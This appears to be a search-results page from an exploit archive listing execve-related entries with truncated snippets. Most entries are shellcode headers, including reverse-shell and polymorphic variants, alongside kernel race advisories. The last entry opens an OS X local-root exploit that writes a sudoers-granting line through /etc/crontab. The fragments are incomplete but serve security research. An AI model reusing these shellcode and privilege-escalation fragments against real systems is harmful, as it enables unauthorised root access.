Linux/x86_x64 - execve/bin/sh - 26 bytes

Linux/x86x64 - execve/bin/sh - 26 bytes. Shellcode exploit for linx86-64 platform / --------------------------------------------------------------------------------------------------- Linux/x86x64 - execve/bin/sh - 26 bytes Ajith Kp @ajithkp560 http://www.terminalcoders.blogspot.com Om Asato Maa...

Linux/x86-64 - execve(/bin/sh) Shellcode (26 bytes)

/ --------------------------------------------------------------------------------------------------- Linux/x86x64 - execve/bin/sh - 26 bytes Ajith Kp @ajithkp560 http://www.terminalcoders.blogspot.com Om Asato Maa Sad-Gamaya | Tamaso Maa Jyotir-Gamaya | Mrtyor-Maa Amrtam Gamaya | Om Shaantih...

Apple Mac OSX iOS - SUID Binary Logic Error Kernel Code Execution

Apple Mac OSX iOS - SUID Binary Logic Error Kernel Code Execution Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=676 tl;dr The code responsible for loading a suid-binary following a call to the execve syscall invalidates the task port after first swapping the new vmmap into the...

Race you to the kernel!

Posted by Ian Beer of Google Project Zero The OS X and iOS kernel code responsible for loading a setuid root binary invalidates the old task port after first swapping the new virtual memory map pointer into the old task object, leaving a short race window where you can manipulate the memory of an...

Linux/x86-64 - Reverse Shell Shellcode

/ Exploit Title: Shellcode Linux x8664 Reverse Shell Date: 19/03/2016 Shellcode Author: Sudhanshu Chauhan LinkedIn: https://in.linkedin.com/in/sudhanshuchauhan Tested on: Ubuntu 14.04.1 x8664 global start start: ;Socket xor rax, rax xor rdi, rdi xor rsi, rsi xor rdx, rdx add rax, 41 add rdi, 2 ad...

Linux/x86-64 - shell_reverse_tcp with Password Polymorphic Shellcode (2) (135 bytes)

/--------------------------------------------------------------------------------------------------------------------- / Title: tcp reverse shell with password polymorphic version v2 135 bytes Author: Sathish kumar Contact: https://www.linkedin.com/in/sathish94 Copyright: c 2016 iQube...

x86_64 Linux Polymorphic Execve-Stack - 47 bytes

x8664 Linux Polymorphic Execve-Stack - 47 bytes. Shellcode exploit for linx86-64 platform /--------------------------------------------------------------------------------------------------------------------- / Title: x8664 linux Polymorphic execve-stack 47 bytes Author: Sathish kumar Contact:...

Linux/x86-64 - Polymorphic Execve-Stack Shellcode (47 bytes)

/--------------------------------------------------------------------------------------------------------------------- / Title: x8664 linux Polymorphic execve-stack 47 bytes Author: Sathish kumar Contact: https://www.linkedin.com/in/sathish94 Copyright: c 2016 iQube. http://iQube.io Release Date:...

Linux/x86-64 - shell_reverse_tcp with Password Polymorphic Shellcode (1) (122 bytes)

/--------------------------------------------------------------------------------------------------------------------- / Title: tcp reverse shell with password polymorphic version 122 bytes Author: Sathish kumar Contact: https://www.linkedin.com/in/sathish94 Copyright: c 2016 iQube. http://iQube....

x86_64 Linux xor/not/div Encoded execve Shellcode

x8664 Linux xor/not/div Encoded execve Shellcode. Shellcode exploit for linx86-64 platform /--------------------------------------------------------------------------------------------------------------------- / Title: x8664 linux-Xor/not/div encoded execve shellcode Author: Sathish kumar Contact...

Linux/x86 - execve "/bin/sh" Shellcode (24 bytes)

/ ; Title: Linux/x86 execve "/bin/sh" - shellcode 24 byte ; Platform: linux/x86 ; Date: 2015-01-03 ; Author: Dennis 'dhn' Herrmann ; Website: https://zer0-day.pw BITS 32 global start section .text ; syscalls kernel SYSEXECVE equ 0x0b start: ; execve"/bin//sh", 0, 0; push SYSEXECVE ; SYSEXECVE = 1...

Linux/x86 execve "/bin/sh" - shellcode 24 byte

Linux/x86 execve "/bin/sh" - shellcode 24 byte. Shellcode exploit for linx86 platform / ; Title: Linux/x86 execve "/bin/sh" - shellcode 24 byte ; Platform: linux/x86 ; Date: 2015-01-03 ; Author: Dennis 'dhn' Herrmann ; Website: https://zer0-day.pw BITS 32 global start section .text ; syscalls...

The vulnerability of the enterprise automation system HP Operations Manager i allows a perpetrator to increase their privileges.

The vulnerability of the execve system call implementation in HP Operations Manager is related to errors in the code. Exploiting this vulnerability could allow a malicious individual to increase their privileges locally...

linux x86/x86_64 execve Shellcode

Linux execve shellcode that works on both x86 and x8664. Cross-Linux execve shellcode works on x86/x8664 Coded by B3mB4m 4.11.2015 This shellcodes works on both x86 and x64null-free : Disassembly of section .text: 08048060 : 8048060: 31 c0 xor %eax,%eax 8048062: 40 inc %eax 8048063: 74 15 je...

Linux x86_64 Polymorphic execve Shellcode - 31 bytes

Linux x8664 Polymorphic execve Shellcode - 31 bytes. Shellcode exploit for linx86-64 platform / ;Title: polymorphic execve shellcode ;Author: d4sh&r ;Contact: https://mx.linkedin.com/in/d4v1dvc ;Category: Shellcode ;Architecture:linux x8664 ;SLAE64-1379 ;Description: ;Polymorphic shellcode in 31...

Linux/x86-64 - Polymorphic execve Shellcode (31 bytes)

/ ;Title: polymorphic execve shellcode ;Author: d4sh&r ;Contact: https://mx.linkedin.com/in/d4v1dvc ;Category: Shellcode ;Architecture:linux x8664 ;SLAE64-1379 ;Description: ;Polymorphic shellcode in 31 bytes to get a shell ;Tested on : Linux kali64 3.18.0-kali3-amd64 1 SMP Debian 3.18.6-1kali2...

kernel: race condition between chown() and execve()

A race condition flaw was found between the chown and execve system calls. When changing the owner of a setuid user binary to root, the race condition could momentarily make the binary setuid root. A local, unprivileged user could potentially use this flaw to escalate their privileges on the syst...

kernel: race condition between chown() and execve()

A race condition flaw was found between the chown and execve system calls. When changing the owner of a setuid user binary to root, the race condition could momentarily make the binary setuid root. A local, unprivileged user could potentially use this flaw to escalate their privileges on the syst...

Oracle: Security Advisory (ELSA-2009-1243)

The remote host is missing an update for the SPDX-FileCopyrightText: 2015 Greenbone AG Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only ifdescription...

issetugid() + rsh + libmalloc OS X Local Root

CVE-2015-5889: issetugid + rsh + libmalloc osx local root tested on osx 10.9.5 / 10.10.5 jul/2015 by rebel import os,time,sys env = s = os.stat"/etc/sudoers".stsize env'MallocLogFile' = '/etc/crontab' env'MallocStackLogging' = 'yes' env'MallocStackLoggingDirectory' = 'a\n root echo "ALL ALL=ALL...